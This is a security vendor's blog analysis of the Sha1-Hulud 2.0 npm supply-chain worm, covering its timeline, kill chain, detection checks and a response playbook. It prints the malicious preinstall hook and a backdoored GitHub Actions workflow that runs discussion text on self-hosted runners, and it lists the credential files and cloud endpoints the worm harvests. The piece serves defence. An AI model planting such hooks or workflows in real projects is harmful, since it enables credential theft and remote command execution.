Contact Us
Sha1‑Hulud 2.0 blog image, a researched blog by Cy5, India's emerging cloud security provider

Sha1‑Hulud 2.0: How the “Second Coming” NPM Worm Turns GitHub into a Secret‑Stealing Machine

In this Article

Key takeaways (for busy security leaders)

  • Sha1‑Hulud 2.0 (also called Shai‑Hulud: The Second Coming) is a new wave of the Shai‑Hulud npm worm that first hit the ecosystem in September 2025.
  • The campaign hijacks compromised NPM maintainer accounts, injects a preinstall script, and uses the Bun runtime to run an obfuscated payload outside normal Node.js monitoring.
  • The malware steals GitHub tokens, npm tokens, and multi‑cloud credentials, then exfiltrates them into thousands of public GitHub repositories described as “Sha1‑Hulud: The Second Coming”.
  • It also registers infected hosts as self‑hosted GitHub Actions runners, drops a malicious workflow, and in some cases attempts to delete user home directories and writable files.
  • Over 700–800 npm packages and 25k–28k+ GitHub repositories have been implicated so far, including dependencies tied to Zapier, ENS Domains, Postman, and PostHog.
  • Every organization consuming npm packages should assume potential exposure and follow a structured playbook: inventory, detect, contain, eradicate, and harden.

What is Sha1‑Hulud / Shai‑Hulud?

In September 2025, the JavaScript ecosystem experienced one of its most serious supply‑chain compromises to date: a self‑propagating worm dubbed Shai‑Hulud, after the sandworms in Dune. Security researchers described it as one of the largest and most dangerous npm supply‑chain attacks ever seen, with more than 180–700+ packages affected and millions of weekly downloads.

Unlike “traditional” malicious packages that target a few libraries or use typosquatting, Shai‑Hulud behaved like a worm:

  • It compromised a maintainer.
  • Injected malicious post‑install code.
  • Used stolen npm tokens to infect every package the maintainer owned.
  • Used tools like TruffleHog to harvest secrets and exfiltrate them via GitHub repositories and Actions workflows.

Fast‑forward to late November 2025: defenders started seeing a new wave that looked similar—but nastier. This time, most indicators of compromise (IoCs) referenced:

Sha1‑Hulud: The Second Coming

That subtle spelling change (1 instead of i) is more than a meme. It became the global tracking tag for the second campaign, now widely referred to as Sha1‑Hulud 2.0 or Shai‑Hulud: The Second Coming.

2. Timeline: From the First Worm to “The Second Coming”

Here’s a condensed timeline that’s useful when correlating logs, package versions and Git history:

September 2025 – First Shai‑Hulud wave

  • Initial malicious packages appear in mid‑September, quickly spreading to over 180–500+ npm packages, including popular libraries like @ctrl/tinycolor and packages maintained by security vendors.
  • The worm:
    • Harvests credentials (npm tokens, GitHub PATs, cloud keys).
    • Uses GitHub Actions with malicious workflows to exfiltrate data to attacker‑controlled endpoints.
    • Automatically republishes trojanized versions of other packages accessible with stolen tokens.
  • CISA and major security vendors warn this is a self‑replicating supply‑chain worm, not a one‑off typo‑squatting incident.

Late November 2025 – Sha1‑Hulud 2.0 / “The Second Coming”

Around November 21–23:

  • Compromised maintainer accounts push new malicious versions of legitimate npm packages.
  • The new wave targets widely used dependencies in:
    • Zapier, ENS Domains, PostHog, Postman and others.
  • Vendors report:
    • 700–800+ compromised packages and counting.
    • Over 25k–28k GitHub repositories created with descriptions set to “Sha1‑Hulud: The Second Coming”.
    • At least 132 million monthly downloads across affected packages.

By November 24–26:

  • Researchers confirm:
    • A preinstall‑phase payload using the Bun runtime.
    • A backdoor via self‑hosted GitHub Actions runners.
    • A malicious .github/workflows/discussion.yaml workflow enabling remote code execution when someone opens a GitHub Discussion.
  • Some attackers begin experimenting with follow‑up campaigns, such as repositories described as “Sha1‑Hulud: The Continued Coming” and even ads for “Free AI” services in repo descriptions—clear signs that stolen credentials are being reused.

For defenders, the takeaway is simple: this is not over, and the ecosystem is still discovering new variants and victims.

3. How Sha1‑Hulud 2.0 Works

Let’s walk through the kill chain in business‑friendly terms, without drowning in opcodes.

Step 1 – Compromise the maintainer

The campaign still starts with human compromise:

  • Phishing campaigns against npm maintainers and developers.
  • Re‑use of exposed npm/GitHub tokens from previous breaches.
  • Weak or misconfigured MFA, and over‑privileged tokens in CI.

Once an attacker gets an npm token or publisher access, everything else is largely automated.

Step 2 – Trojanize legitimate packages

Instead of publishing brand‑new malicious packages, Sha1‑Hulud 2.0:

Adds a preinstall entry to package.json:

"scripts": {
  "preinstall": "node setup_bun.js"
}
  • Ships additional JavaScript files, notably:
    • setup_bun.js
    • bun_environment.js

Because these changes are tucked into minor version bumps, they often look like normal updates to downstream consumers.

Step 3 – Bring Your Own Runtime (Bun)

Instead of relying on the host’s Node.js, the malware:

  1. Downloads and installs Bun, an alternative JavaScript runtime.
  2. Uses Bun to execute the main payload (bun_environment.js).

Why this matters:

  • Many security tools focus on Node.js binaries or npm scripts.
  • By bringing its own runtime, the malware steps outside the typical monitoring path, making static and behavioral analysis harder.

Step 4 – Harvest secrets from everywhere

Once running, the Bun‑based payload turns the victim machine or CI runner into a vacuum cleaner for secrets:

  • Local configs & files
    • ~/.aws/credentials, ~/.azure/, GCP config paths.
    • .npmrc for npm tokens.
    • Git credentials and SSH keys.
  • Environment variables
    • GITHUB_TOKEN, NPM_TOKEN, CI‑specific tokens.
    • Cloud provider credentials pulled from environment variables.
  • Cloud metadata services
    • AWS IMDS, GCP, and Azure metadata endpoints to obtain temporary tokens.
  • Cloud secret managers
    • Attempts to pull values from AWS Secrets Manager, Google Secret Manager and Azure Key Vault using harvested credentials.

In one sample of ~20,000 exfiltration repositories, researchers identified hundreds of valid GitHub access tokens and multi‑cloud credentials—a sign of how effective this harvesting is.

Step 5 – Exfiltrate to GitHub repos marked “Sha1‑Hulud: The Second Coming”

Instead of sending data to a random C2 server, Sha1‑Hulud 2.0 uses GitHub as its data lake:

  1. Uses a victim’s GitHub token to create a new public repository under that user/org.
  2. Names it with a random 18‑character string.
  3. Sets the description to “Sha1-Hulud: The Second Coming”.
  4. Uploads several double‑Base64‑encoded JSON files:
    • cloud.json – cloud secrets.
    • contents.json – system info + token metadata.
    • environment.json – environment variables.
    • truffleSecrets.json – TruffleHog results.
    • In some variants, actionsSecrets.json from stolen GitHub Actions secrets.

This is disturbingly clever:

  • GitHub is a trusted domain; outbound controls rarely block it.
  • The repos look like random test data unless you’re specifically searching for that description and filenames.
  • Repos may contain someone else’s secrets if exfil is cross‑victim, complicating incident scoping.

Step 6 – Turn victims into GitHub Actions backdoors

The most worrying innovation in this wave is persistence via self‑hosted GitHub runners:

  1. The malware silently installs a self‑hosted runner on the victim machine, registered under a name like “SHA1HULUD”.
  2. It then adds a backdoored workflow at .github/workflows/discussion.yaml with logic equivalent to:
name: Discussion Create
on:
  discussion:
jobs:
  process:
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}
  1. Because the workflow runs on self‑hosted runners, attackers can:
    • Open a GitHub Discussion,
    • Inject arbitrary commands into the body,
    • Have those commands executed on the compromised machine.

Researchers have demonstrated this end‑to‑end in lab conditions. While there is limited evidence of widespread real‑world use (so far), the capability is there—and terrifying.

Step 7 – Optional destruction

Tenable and others have observed variants that attempt to:

  • Remove the victim’s home directory.
  • Delete all writable files owned by the user.

That shifts the threat from “just” data theft to potential destructive attack or incident‑response sabotage.

4. Why Sha1‑Hulud 2.0 Is Different From “Normal” npm Malware

From a defender’s perspective, Sha1‑Hulud 2.0 changes the game in several ways:

  1. It’s a worm, not a one‑off package.
    It propagates by abusing trust chains between developers, npm, and GitHub, compromising every package a maintainer touches rather than just one library.
  2. It leverages GitHub itself as C2.
    No sketchy domains, no temporary VPS: exfiltration is done entirely via GitHub repos and workflows, blending into normal dev tooling.
  3. It’s multi‑cloud and CI‑aware.
    The payload is explicitly designed to run cleanly in common CI environments and to pull secrets from AWS, Azure, and GCP.
  4. It uses BYO runtime and persistent backdoors.
    Bun + self‑hosted runners + malicious workflows = a persistent foothold in your build infrastructure, not just a “smash‑and‑grab” secrets theft.
  5. The blast radius is enormous.
    Tens of thousands of repos, hundreds of thousands of credentials, and 100M+ monthly downloads across affected packages mean this is an ecosystem‑level event.

If your organization relies on npm at all—and almost every modern SaaS does—treat this as a high‑severity incident, not just industry gossip.

5. Who Is Most at Risk?

While virtually any npm consumer could be exposed, several groups are especially vulnerable:

  1. SaaS and platform companies
    • Heavy npm usage across front‑end and back‑end services.
    • Dense CI/CD pipelines with long‑lived tokens.
    • Extensive GitHub Actions usage.
  2. Open‑source maintainers and dev‑tool vendors
    • Many downstream dependents.
    • High‑value npm scopes (e.g., SDKs, client libraries).
    • Often over‑privileged tokens for convenience.
  3. Cloud‑native enterprises
    • Complex multi‑cloud deployments.
    • Secrets scattered across environment variables, secret managers and config files.
    • Mixed usage of self‑hosted and managed runners.
  4. Regulated industries
    • Even a temporary exfil of secrets may trigger compliance, disclosure and legal obligations, regardless of visible damage.

If any of this sounds like your organization, assume the worst: you may already have Sha1‑Hulud artifacts in your repos or CI history.

6. How to Know If You’ve Been Hit by Sha1‑Hulud 2.0

Here’s a practical detection checklist you can hand to your AppSec or DevOps teams.

6.1 Search GitHub for suspicious repos

In GitHub search, run:

org:<your_org> "Sha1-Hulud: The Second Coming"
user:<your_username> "Sha1-Hulud: The Second Coming"

Look for:

  • Repos with random 18‑character names.
  • Descriptions exactly matching the string above.
  • Unusual commit messages like “Add file” and the misspelled “Add Discusion”.

6.2 Look for suspicious files

Within your org:

  • Search for the following filenames in repos, artifacts and caches:
    • setup_bun.js
    • bun_environment.js
    • cloud.json
    • contents.json
    • environment.json
    • truffleSecrets.json
    • actionsSecrets.json

Any match warrants a deeper investigation.

6.3 Hunt for malicious GitHub workflows

Look for:

  • .github/workflows/discussion.yaml with:
    • Trigger on discussion.
    • runs-on: self-hosted.
    • A step that simply echoes ${{ github.event.discussion.body }} (or equivalent).
  • Other suspicious workflows that:
    • Serialize secrets to JSON.
    • Upload them as an artifact.
    • Delete themselves and their branches afterwards.

6.4 Audit self‑hosted runners

In your GitHub org:

  • List self‑hosted runners.
  • Flag any runner:
    • Registered recently without documented change tickets.
    • Named something like SHA1HULUD or unfamiliar.

Treat unknown runners as compromised infrastructure.

6.5 Scan for compromised npm packages

Use:

  • Your internal SBOM / dependency inventory.
  • Vendor detection queries (Wiz, Snyk, Semgrep, Checkmarx, JFrog, Tenable, etc.).
  • Community detectors like the open‑source Shai‑Hulud 2.0 detector on GitHub.

Cross‑reference against the latest public lists of affected packages maintained by security vendors and researchers.

7. Response Playbook: What to Do If You’re Exposed

Assume at least some level of exposure. Here is a concrete, prioritized playbook you can adapt.

Step 1 – Freeze at‑risk dependency updates

  • Temporarily block npm updates from known‑affected maintainers and packages.
  • Pin versions to pre‑incident releases where possible.

Clear local and remote caches:

npm cache clean --force

rm -rf node_modules
  •  (And equivalent for Artifactory, Nexus or other registries.)

Step 2 – Contain and eradicate

For each affected machine or runner:

  1. Isolate from the network (segregate from CI and production).
  2. Collect forensic artifacts:
    • Suspicious workflows.
    • Bun binaries and related directories.
    • Exfiltration files (cloud.json, contents.json, etc.).
  3. Reimage infected machines where possible.
  4. Remove unauthorized self‑hosted runners and revoke their registration tokens.

Step 3 – Rotate credentials at scale

Assume that any secrets present on infected machines or CI may be compromised:

  • GitHub
    • Revoke and regenerate PATs.
    • Rotate repo and org secrets.
    • Rotate deploy keys and SSH keys.
  • npm
    • Rotate maintainer tokens.
    • Consider adding or enforcing hardware‑backed MFA for publisher accounts.
  • Cloud providers
    • Rotate IAM access keys.
    • Rotate secrets in AWS Secrets Manager, Google Secret Manager, Azure Key Vault.
    • Investigate usage of compromised keys during and after the incident window.

Prioritize:

  • Tokens with workflow and admin scopes.
  • Keys used by CI/CD and high‑privilege automation.

Step 4 – Hunt for follow‑on activity

Use your SIEM and cloud logs to look for:

  • Suspicious GitHub API usage from unusual IPs.
  • Cloud actions (STS AssumeRole, secret retrieval, IAM policy changes) tied to compromised credentials.
  • Any signs of:
    • Data exfiltration.
    • Crypto‑mining.
    • Lateral movement from CI into internal networks.

This is where modern detection engineering and threat hunting shine: look for patterns, not just static IoCs.

8. Long‑Term Supply‑Chain Defenses (Beyond Sha1‑Hulud)

The worst outcome would be to treat Sha1‑Hulud as a one‑off and move on. Instead, use it to justify structural improvements.

8.1 Lock down developer and CI identities

  • Enforce short‑lived tokens wherever possible (OIDC, workload identity).
  • Scope GitHub and npm tokens to least privilege.
  • Disable or minimize token scopes that allow:
    • Creating workflows.
    • Managing self‑hosted runners.
    • Publishing packages across multiple scopes.

8.2 Harden your GitHub / GitLab configuration

  • Require MFA for all org members and especially for maintainers.
  • Enable branch protection and approvals for workflow changes.
  • Enable org‑wide policies for:
    • Self‑hosted runner labels.
    • Workflow provenance.
    • Restricting which actions and reusable workflows can run.

8.3 Treat CI/CD as production

Shai‑Hulud proves that build systems are prime targets:

  • Segment CI networks from production and developer endpoints.
  • Avoid running untrusted workloads on long‑lived, privileged runners.
  • Regularly reimage ephemeral workers; minimize state.

8.4 Invest in software supply‑chain visibility

  • Maintain current SBOMs (Software Bills of Materials) for critical applications.
  • Use tools (commercial or open‑source) to:
    • Detect malicious dependency versions.
    • Monitor for sudden version spikes or unusual maintainer activity.
  • Continuously monitor OSS ecosystems for new campaigns like Sha1‑Hulud.

9. How Cy5 Can Help

The Sha1‑Hulud incident isn’t just another “patch your library” headline. It’s a preview of how modern attackers will continue to weaponize trust in open‑source and CI/CD tooling.

Cy5 can help you:

  • Map your exposure to npm and GitHub‑based supply‑chain risks: which pipelines, packages and tenants are at risk.
  • Detect malicious behaviors in dev and CI environments—such as the creation of suspicious GitHub Actions workflows or self‑hosted runners.
  • Prioritize response by correlating exposed secrets, affected applications and business impact.
  • Continuously monitor your software supply chain so Sha1‑Hulud isn’t just a scary name you remember from 2025, but the moment your organization materially raised its security baseline.

If you’d like to understand your current exposure to these attacks—and how to reduce it over the next 90 days—reach out to the Cy5 team for a tailored assessment.

11. Closing Thoughts

Sha1‑Hulud 2.0 is more than an impressive piece of malware engineering. It’s a blunt message to the industry:

The path of least resistance to your data is no longer your perimeter—it’s your developers, dependencies, and pipelines.

Use this moment to have hard conversations, secure budget, and reshape how your organization treats supply‑chain risk. Attacks like this will keep coming. Whether they become catastrophic incidents or manageable stories you tell in retrospectives depends on the steps you take now.

Categories
Recent Posts